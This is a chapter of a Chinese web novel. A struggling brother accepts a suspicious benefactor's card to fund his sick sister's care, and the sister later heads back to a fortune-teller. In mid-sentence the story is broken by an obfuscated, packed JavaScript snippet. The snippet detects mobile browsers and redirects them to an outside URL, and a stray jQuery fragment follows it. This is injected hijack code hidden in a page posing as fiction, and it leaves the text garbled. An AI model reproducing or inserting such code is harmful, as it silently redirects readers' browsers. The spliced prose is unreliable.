林朝一头雾水地跟着院长来到办公室，推开门，里面已经坐着一个人。
那人穿着剪裁合体的深灰色西装，正低头看着手里的平板电脑。
听见动静，男人抬起头，露出一张温和儒雅的脸大约二十七八岁，五官端正，戴着一副细框眼镜，镜片后的眼睛带着浅浅的笑意。
林朝猛地顿住脚步。
他见过这个人。
就在前个星期，他站在医院病房门口，这人递给他一张名片，说“如果有需要帮助的地方，可以联系我”。
林朝当时以为是骗子或者推销的，觉得他很奇怪就摇头走开了。
“林先生，这位是天策基金会的温总，温斯年先生。”李院长热情地介绍，“温总听说了你妹妹的情况，特地过来看看。”
温斯年站起身，朝林朝伸出手，笑容温和得无懈可击：“林先生，又见面了。”
林朝愣愣地和他握手，手心冰凉。
“坐，坐。”
李院长示意他们坐下，自己则兴奋地说：
“林先生，温总这边愿意为林晚提供全额医疗援助，包括后续所有的治疗费用、专家会诊。基金会已经批了专项基金，所有费用由他们承担。”
林朝的脑子嗡嗡作响，他看向温斯年，声音干涩：“为什么？”
温斯年笑了笑，推了推眼镜：
“我们基金会本来就有针对疑难病患的援助项目。李院长把林晚的病例报上来后，我觉得很值得帮助。
这么年轻的女孩子，不应该被不明原因的病症拖垮。”
温斯年说得很诚恳，眼神也很坦然，可林朝心里的不安却越来越重。
“不需要任何回报？”林朝问道。
“当然不需要。”
温斯年微微倾身，语气更加温和。
“林先生，我理解你的顾虑。但请相信，我只是想帮个忙。林晚的病如果真能治好，对你妹妹、对你，不都是一件好事吗？”
李院长在一旁连连点头：“是啊林朝，这是千载难逢的机会！温总在辰阳的口碑很好的，资助过很多困难患者，你不用担心。”
林朝看着温斯年，又想起妹妹苍白的脸，想起医药费账单上那些触目惊心的数字，想起自己口袋里那张还没还清的借条。
他该拒绝吗？可拒绝之后呢？妹妹的病怎么办？
“我……”他喉咙发紧，心里犹豫着，“我需要考虑一下。”
“当然可以。”
温斯年从西装内袋里掏出一张名片，和那天递给他的一模一样，精致的米白色卡纸，上面印着“天策基金会·温斯年”几个字。
“这是我的名片。林先生考虑好了，随时联系我。基金会的援助申请窗口期还有三天，希望你能尽快决定。”
而后他把名片放在桌上，又对李院长点了点头：“那我先不打扰了。林先生，期待你的好消息。”
温斯年起身离开，脚步很轻，带上门时几乎没发出声音。
办公室里安静下来。
李院长拍了拍林朝的肩膀：“还考虑什么呀？这么好的机会！温总亲自来，说明很重视你妹妹的案子。林朝，你妹妹的病不能再拖了。”
林朝盯着桌上那张名片，没说话。
他伸手，拿起名片，纸张触感细腻，翻过来背面只印着一行小字：
“愿世间少一份疾苦。”
很漂亮的话。
可不知为什么，他总觉得那张温和笑脸的背后没有那么简单。
但林朝还是把名片收进了口袋。
因为妹妹需要。
他走出院长办公室，回到病房时，林晚已经睡着了，眉头依旧微微蹙着，但呼吸总算平稳了一些。
林朝在床边坐下，从衣领里扯出那枚长命锁，握在手心里。
冰凉的金属硌着掌纹，他想起那个女道士的话，想起妹妹烧得迷糊时塞给他这把锁的模样。
他不信，但还是戴着。
就像现在，心里隐隐是不信那个温斯年，却还是收下了名片。
林朝慢慢握紧拳头，锁的边缘深深陷进掌心。
为了妹妹，有些路，好像不得不走。
医院地下停车场的一辆黑色轿车里，温斯年靠在后座，摘下了眼镜，揉了揉眉心。
“他收了。”驾驶座上的年轻男人低声说。
“嗯。”温斯年重新戴上眼镜，镜片后的眼睛里没了刚才的温和，只剩一片平静的淡漠。
“继续盯着。古宅那边……也加快进度。”
“是。”
车子无声地滑出停车场，汇入城市的车流。
——
第二天，林晚在医院醒来时，一夜无梦。
窗外天气晴朗，但就算出了太阳也驱散不了冬日的寒冷。
病房里很安静。这是个双人病房，但隔壁床暂时空着，只有她一个人。
她摸出枕头下的手机，屏幕亮起，显示早上六点半。
林晚盯着天花板发了会儿呆，想到昨天和哥哥的对话，医院里那股让她窒息的温暖，还有算命店里前天的那种恐怖气息，无数画面在脑子里搅成一团。
去，还是不去？
她翻了个身，指尖碰到脖颈上空荡荡的红麻绳，粗糙的触感让她想起哥哥昨晚握着自己发抖的手。
片刻后林晚坐起身拿起手机，给林朝发了条信息：
【哥，我今天感觉好多了。想出去走走，透透气。】
几乎是立刻，林朝的电话就打了过来。
“醒了？感觉怎么样？”哥哥的声音沙哑，背景音里隐约些嘈杂声。
“嗯，好多了。就想出去走走……去、去那边看看。”林晚小声开口，等待着哥哥的回应。
电话那头沉默了两秒。
“今天主家活多，我可能要晚点回来。你……自己小心点。不舒服就马上回来，或者给我打电话。”林朝的声音听不出什么。
“嗯。”
“还有，”林朝顿了顿，“医院那边……护士早上跟我说，今天可以办出院了。但如果你觉得还不舒服，也可以再住一天，床位暂时还留着。”
林晚愣了一下，按往常，像她这种急性症状缓解后医院早就催着腾床位了。
“为什么？”她下意识问。
林朝的声音有些含糊：“不清楚。护士就说，让多观察一天。”
挂了电话，林晚坐在床边，心里有些乱。
她洗漱完，换了衣服，正准备去护士站问问出院手续，一个年轻的护士笑着走过来：
“林晚是吧？今天感觉怎么样？”
“好多了，谢谢。”
“那就好。对了，早上李院长特意交代了，你这边不用急着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833085|188502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
办出院，多住一天观察观察。费用问题不用担心，已经有人打过招呼了。”
护士一边记录着什么，一边无意地说道。
林晚的心猛地一跳：“谁？”
护士笑着合上记录本：“这我就不清楚了。反正你安心养着就好。想出去透透气也可以，记得带好病历卡，不舒服随时回来。”
护士说完就走了。林晚站在原地，走廊里的消毒水气味突然变得刺鼻。
有人替她付了钱？为什么？
她想起昨天那股诡异的“温暖”，想起那个被众人簇拥、周身有透明光晕的女人。
难道是她？
不，不可能，素不相识的人，为什么要帮她？
林晚感觉自己脑子里乱糟糟的，快步走回病房，关上门，背靠着门板喘气。
墙壁白得晃眼，空气里那股医院特有的味道让她胸口发闷。
不行，不能待在这里，她想出去走走。
林晚快步走出住院部大门，清冷的空气扑面而来，才慢慢停下脚步，深深吸了口气，开始思考自己去哪里。
去麻衣巷，这个念头清晰起来，她需要答案，关于自己的“病”，关于那些能看见的东西。
而在城市的另一边，沈家古宅荒废的园林里，林朝正拿着扫帚，清理着石板路上的落叶与尘土。
这已经是他来这宅子干活的第二周。
起初还有几个临时工一起搬搬抬抬，后来因为总有人私下议论宅子，主家不耐烦，便把多嘴的都辞退了，只留下话少勤快的林朝。
晨光稀薄，园子里静得只剩下扫帚的沙沙声。
古树投下浓重的阴影，空气里混合着泥土与腐朽植物的气味，怎么都散不掉。
管家老张从回廊那头匆匆走来，脸色比平时更凝重些，他招招手，示意林朝过去。
“今天别扫园子了。主楼西边那几间房，还有老爷以前的小书房，得彻底打扫出来。下午有人再来一趟，说是要仔细看看。”老张压低声音，对他说道。
林朝点点头，十大家的人他远远见过几次，也查过资料，知道都是些往玄学那边靠的一类人。
老张看着他，眼神里带着告诫：
“还是老规矩，仔细打扫，角落也别放过。里面的老物件擦干净就行，别乱动，更别多问。
要是那几位先生问你什么，照实说你看到的，别的废话一句也别说。”
“我明白的，张伯。”林朝应道，他不需要明白那些玄乎的事，他只需要这份工钱。
老张拍了拍他的肩，转身走了。
林朝望着老人微驼的背影消失在廊柱后，收回目光，准备去库房拿打扫工具。
林朝手指无意识地伸进外套口袋，触到了那张卡片。
昨天在医院院长室匆匆一面后，这张名片让他整个人很纠结，他不信天上掉馅饼，可妹妹的病没有任何进展。
先干活，再考虑一下吧。林朝摇了摇脑努力让自己专注在工作中。
他抬起头，望向主楼西侧那些常年紧闭的窗户，阳光照在积尘的玻璃上，泛着一层浑浊的光。
而此时，林晚站在那扇熟悉的店门前，心跳得比第一次来时还要快。
手抬起又放下，反复几次。
前天的噩梦片段还在脑海里闪现，灰色的梦，鬼脸，还有那个散发着恐怖气息的女人。